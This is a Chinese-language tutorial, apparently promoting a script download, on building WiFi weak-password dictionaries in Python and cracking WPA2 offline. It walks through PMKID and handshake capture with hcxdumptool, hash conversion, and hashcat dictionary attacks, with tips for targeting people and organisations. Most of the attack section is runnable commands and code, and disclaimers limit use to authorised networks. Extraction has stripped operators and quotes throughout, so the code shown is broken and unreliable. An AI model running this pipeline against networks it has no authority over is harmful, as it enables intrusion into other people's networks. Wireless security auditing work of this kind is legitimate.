用Python生成WiFi弱口令字典:从规则设计到WPA2离线破解实战
简介面向Python安全入门学习者这份资源将常用密码字典与WiFi密码破解脚本打包在一起目的是帮助理解弱口令风险与基础爆破原理适合在实验室或授权网络环境中做安全测试练习。压缩包共2个文件1个txt字典文件收录常见弱口令及少量英文密码组合1个py脚本可调用字典完成WiFi密码验证整体仅14KB轻量紧凑代码结构简单便于阅读和二次修改。目前已有10483人下载学习对初学者来说这份小工具既能直观展示Python脚本与字典文件如何配合工作也能为自建密码字典提供可参考的格式与思路熟悉后可在此基础上调整字典内容或扩展脚本功能。需要特别提醒资源仅供学习和测试使用切勿用于任何未经授权的网络行为。1. 密码突破的第一战场不是算力而是字典真正让离线破解成功时间从“天”缩短到“分钟”的往往不是显卡型号而是字典里那一行恰好命中的口令。很多人在本地搭好环境、抓完握手包烧了一整晚也只跑出 1% 进度问题几乎都出在字典上要么是网上现成的百 GB 大包命中率低还拖着磁盘 IO要么是自己想当然拼了几万个组合结果连最基本的键盘序列都漏了。这个标题里的路径就是解决这件事的用 Python 生成一份贴合“弱口令 少量英文”的常见密码字典再把它接到 WiFi 握手包的解密流程里。它适合做企业内部无线审计、自己实验室的 AP 安全测试或只是想把手头抓到的合法测试数据跑通的人。2. 常见密码字典的格式、清洗与排序逻辑2.1 为什么字典是纯文本、每行一个口令密码字典的本质是一个换行符分隔的字符串集合。无论是 aircrack-ng 的-w参数还是 hashcat 的-a 0字典模式读取逻辑都极其简单按行读去掉行尾的\n有的还要去掉\r把整行字符串当作候选密码去做散列计算。正因为格式这么朴素很多人才会低估它的后期成本——字典的行数、重复率、排序方式、编码直接决定了实际破解速度。判定一个字典好不好用不只是“里面有没有密码”而是“最可能命中的密码排在第几个”。因为 WPA/WPA2 的离线破解是从字典第一行跑到最后一行把命中位置看成命中时间就行。一个 1000 万行的字典即便最终命中了也可能因为候选排得太靠后在前 8 小时全在跑低概率口令。这也是为什么我会把字典清洗和排序单独拎出来做而不是直接拿原始词库开跑。2.2 用 sort 和 awk 做一次基础清洗从公开渠道收集来的常见密码字典常见问题有三个重复行、首尾空白、Windows 换行符\r。这三个问题在肉眼看不出来但会让同一份字典在 Linux 和 Windows 之间互相拷贝后出现“明明密码存在却跑不出来”的假象。先做一次清洗# 统一转成 LF 换行去掉行尾 \r再去掉首尾空白 sed -i s/\r$// raw_dict.txt awk {$1$1; print} raw_dict.txt | sed /^$/d | sort -u clean_dict.txt # 按行数确认清洗效果 wc -l raw_dict.txt clean_dict.txt这段命令的原理是按顺序处理sed把 Windows 的\r\n转成 Unix 的\nawk对每一行做字段重排从而去掉首尾空格sort -u去重并排序。注意排序不只是为了去重它让后续的 Python 处理可以配合bisect做二分查找也能让做前缀统计时的 IO 更连续。清洗完还要做一个“重复检查”如果原始字典里同一个词出现 200 次sort -u后只剩 1 次这会让总数看起来缩水很多但实际破解速度反而会更快因为每条密码只算一次散列。2.3 弱口令的“高频低频金字塔”常见的弱口令并不是均匀随机的它服从一个很明显的层级结构。顶层是空口令、admin、password、12345678 这类通用尝试下一层是键盘序列和简单变形再往下才是“基于个人信息”的定制组合。这个金字塔说明了两件事默认加密方式下如 WPA/WPA2-PSK没有锁定的离线破解场景顶层口令命中率最高而在线登录场景如 SSH、Web 后台则受锁定策略影响需要每次尝试间隔或代理池不在本文范围。层级示例适用场景通用弱口令12345678、password、admin几乎所有 WPA/WPA2 家用路由器键盘序列qwertyui、1qaz2wsx、zxcvbnm英文键盘用户、办公设备数字英文混合abc123、passw0rd、admin888带变形习惯的中文用户姓氏拼音生日zhang1990、wang1988国内个人路由器、会议室 AP这张表也直接决定了 Python 生成脚本的规则优先级。不要用“按字母顺序全排列”的思路那是在制造词库体积不是在做密码破解。3. 用 Python 生成带规则的弱口令字典3.1 基础词表和规则引擎的设计思路Python 在这里的角色有两个一是把高频词、键盘序列、英文单词、变形后缀组合成候选密码二是控制候选集的规模保证最终字典“小但准”。我一般会用两个文件来组织一个base_words.txt存根词高频弱口令和常见英文单词一个rules.py存变形规则。规则按优先级排列先生成高概率候选再生成低概率候选。需要注意这里不追求生成“所有 8 位小写字母组合”那是 26^8 ≈ 2000 亿的量级现实中哈希猫跑 3080 也要跑很久根本没意义。真正的做法是“用小基数的根词乘以常见的有限变形”把规模控制在几万到几十万行靠命中率取胜。3.2 生成代码按频次排序、按长度过滤下面这份脚本可以直接跑它的核心逻辑是根词和规则交叉组合并按规则优先级输出:# gen_dict.py import itertools import sys # 根词弱口令 常见英文单词按频次从高到低排列 base_words [ admin, password, wifi, router, user, guest, root, default, login, home, office, test, china, qwerty, abc, hello, love, happy, ] # 数字后缀短数字优先贴近人类习惯 number_suffix [123, 1234, 12345, 123456, 12345678, 888, 666, 520, 1314, 168, 000] # 变形规则大小写开头、替换、键盘序列 def apply_rules(word): candidates [word] candidates.append(word.capitalize()) # Admin candidates.append(word.upper()) # ADMIN candidates.append(word.replace(a, )) # pssw0rd 类 candidates.append(word.replace(s, $)) candidates.append(word.replace(o, 0)) return set(candidates) dict_lines [] for w in base_words: for r in apply_rules(w): # 规则1纯根词 dict_lines.append(r) # 规则2根词 数字后缀 for n in number_suffix: dict_lines.append(r n) # 规则3数字后缀 根词 for n in number_suffix[:5]: dict_lines.append(n r) # 过滤WPA2-PSK 最短 8 位少于 8 的直接丢弃 dict_lines [line for line in dict_lines if len(line) 8] # 去重并保持顺序 seen set() with open(wifi_dict.txt, w, encodingutf-8) as f: for line in dict_lines: if line not in seen: seen.add(line) f.write(line \n) print(fgenerated {len(seen)} candidates)脚本逻辑分三层apply_rules做单根词的变形把password扩展成Password、PASSWORD、pssword这类变体然后叠加数字后缀把admin扩展成admin123、admin888等最后做长度过滤。注意这里用了set做中间的快速去重但最终用seen去保持原始优先顺序保证高概率候选排前面。一个关键细节是 WPA2-PSK 协议要求密码最短 8 位所以 7 位以下的根词即使输进去最终也只是白白消耗 IO。这也是为什么代码里先加后缀再过滤而不是先过滤再加后缀——先过滤的话root123这样的 7 位组合会被误删虽然它加上后缀后可能刚好满足 8 位以上。3.3 参数调整键盘序列、出生年份、编号后缀很多人第一次跑这份脚本会觉得“生成的词不够多”。不用担心“不够多”往往说明规则太保守而不是覆盖不够。最关键的一个参数是把number_suffix从纯数字扩展成年份因为在真实环境里姓名首字母 出生年 月日是非常常见的模式years [str(y) for y in range(1950, 2010)] months [%02d % m for m in range(1, 13)] days [%02d % d for d in range(1, 32)] # 组合年份 月日如 zhang19900101 for w in base_words: for y in years: dict_lines.append(w y) for m in months: dict_lines.append(w y m)这里会指数级增长建议单独用一个--birthday开关控制。如果目标只是会议室、商店 WiFinumber_suffix里的12345678和88886666往往比生日更先命中。另外还要考虑键盘序列的补充。它是独立于根词的候选集合不适合用后缀方式生成keyboard_seqs [ qwertyui, qazwsxed, 1qaz2wsx, zxcvbnm,, !#$%^*, 1234qwer, qwer1234, asdfghjk, ]这类键盘序列的特点是看起来像随手乱敲但手指肌肉记忆决定了很多人都用过。把这一小段加进脚本后字典体积几乎没涨但命中率提升非常明显。4. 从字典到 WPA 握手验证Python 如何参与离线解密4.1 捕获握手包用 hcxdumptool 或 aircrack-ng 抓取字典生成之后真正要解的流程分为三步抓握手包、转格式、字典比对。先抓包。常见的做法是用hcxdumptool直接抓取 PMKID或者用airodump-ng等客户端关联时抓四次握手。推荐优先取 PMKID因为不用等客户端上线# 查看无线接口准备监听模式 iwconfig # 用 hcxdumptool 抓 PMKID注意网卡要支持监听模式 sudo hcxdumptool -i wlan0 --enable_status1 -o capture.pcapng等捕获到目标 AP 的 PMKID 或握手包后用hcxpcapngtool把它转成 hashcat 可用的 22000 格式hcxpcapngtool -o hash.hc22000 capture.pcapng这套流程的好处是后面可以随时重跑字典不需要再抓一次包。抓包时长取决于环境办公室环境下等 5 分钟通常足够如果是设备闲置的家庭 APPMKID 方式几分钟内就能拿到。4.2 解密校验的原理PBKDF2-SHA1 计算 PMKWPA/WPA2-PSK 的离线校验核心是用网络名 SSID 和候选密码一起经过 PBKDF2-SHA1 迭代 4096 次生成 PMK再从 PMK 推演出 PTK最后比对握手包里的 MIC 是否一致。这个计算在 Python 里可以直接做# pmk_test.py import hashlib import binascii ssid TestRouter # 目标 AP 的 SSID password admin12345 # 候选密码 # WPA2 的 PMK 计算 pmk hashlib.pbkdf2_hmac( sha1, password.encode(utf-8), ssid.encode(utf-8), 4096, 32 ) print(binascii.hexlify(pmk).decode())运行后会得到一个 64 位十六进制字符串。这个 PMK 必须和实际抓包后计算出的结果一致才说明密码命中。但注意真实环境里你不会用 Python 做全量比对因为 Python 每秒只能跑几百到几千次 PBKDF2速度远不如 hashcat。Python 的正确用途是验证你的字典规则合不合理拿几个已知密码跑一遍 PMK确认字典里包含它们再交给 hashcat。4.3 实战拆分附赠脚本的流水线设计WPA 破解脚本不是“一个文件跑完”而是一个流水线。标题里的“附赠 WiFi 密码破解脚本”正确的工程化写法是让它做三件事加载字典、调用外部工具、解析结果。下面这段是最小可用的调用脚本# 用 hashcat 跑 WPA-PSK-a 0 表示字典攻击 hashcat -m 22000 hash.hc22000 wifi_dict.txt --potfile-pathwifi.pot # 跑完查看已破解的密码 hashcat --show -m 22000 hash.hc22000-m 22000是 WPA-PBKDF2-PMKIDEAPOL 的现代统一格式hashcat 会同时处理 PMKID 或握手包。第一行命令跑完会在输出里直接打印明文密码--potfile-path指定 potfile 存放已破解结果之后重跑同一哈希不会重复计算。还有一条很实用的加速路径有条件的话用--opencl-device-types指定 GPU没有 NVIDIA 或 AMD 显卡时 CPU 跑也有结果只是慢不少。常见的 CPU 跑法大概每秒钟几百次迭代GPU 可以到每秒几十万次甚至上百万次所以小字典在 CPU 上几个小时内能跑完但大字典没有 GPU 就不太现实了。4.4 字典质量和关键词命中的关系这里有个很容易被忽略的细节很多人认为“字典必须包含完整密码”其实如果知道目标设备的命名习惯可以生成更小的定向字典。比如某家公司所有 AP 的密码都来自统一前缀加部门缩写那你只需要在 Python 脚本里把 base_words 替换成部门缩写加上年份和编号后缀3000 行的字典就能覆盖教程里 90% 的弱口令场景。这也解释了为什么 Python 生成脚本比下载现成的百 GB 字典更好用——它让你能根据场景调整根词而不是火力覆盖。5. 附赠脚本的 3 个必调参数和一个容易忽略的验证技巧python3 gen_dict.py --base words.txt --with-birthday --min-len 8--base指定自定义根词表--with-birthday开启出生年月日扩展--min-len保留 WPA2-PSK 有效长度。生成后用下面的命令快速验证字典质量# 统计行数、8-12 位密码占比 awk { if (length($0) 8 length($0) 12) c; } END { print c / NR * 100 % } wifi_dict.txt占比高说明字典定位精准跑起来每一行都是有效尝试。跑 hashcat 时我会建议打开--status --status-timer60每 60 秒输出一次当前速度、破解进度、估计剩余时间。还有一个技巧是先跑一个小字典验证格式是否正确再用大字典攻坚否则格式错了跑半小时才发现纯浪费时间。最后再强调一次这套流程请只用于你自己拥有或已获授权的无线网络。本文还有配套的精品资源点击获取
上一篇/下一篇内容由系统自动关联
返回资讯列表 →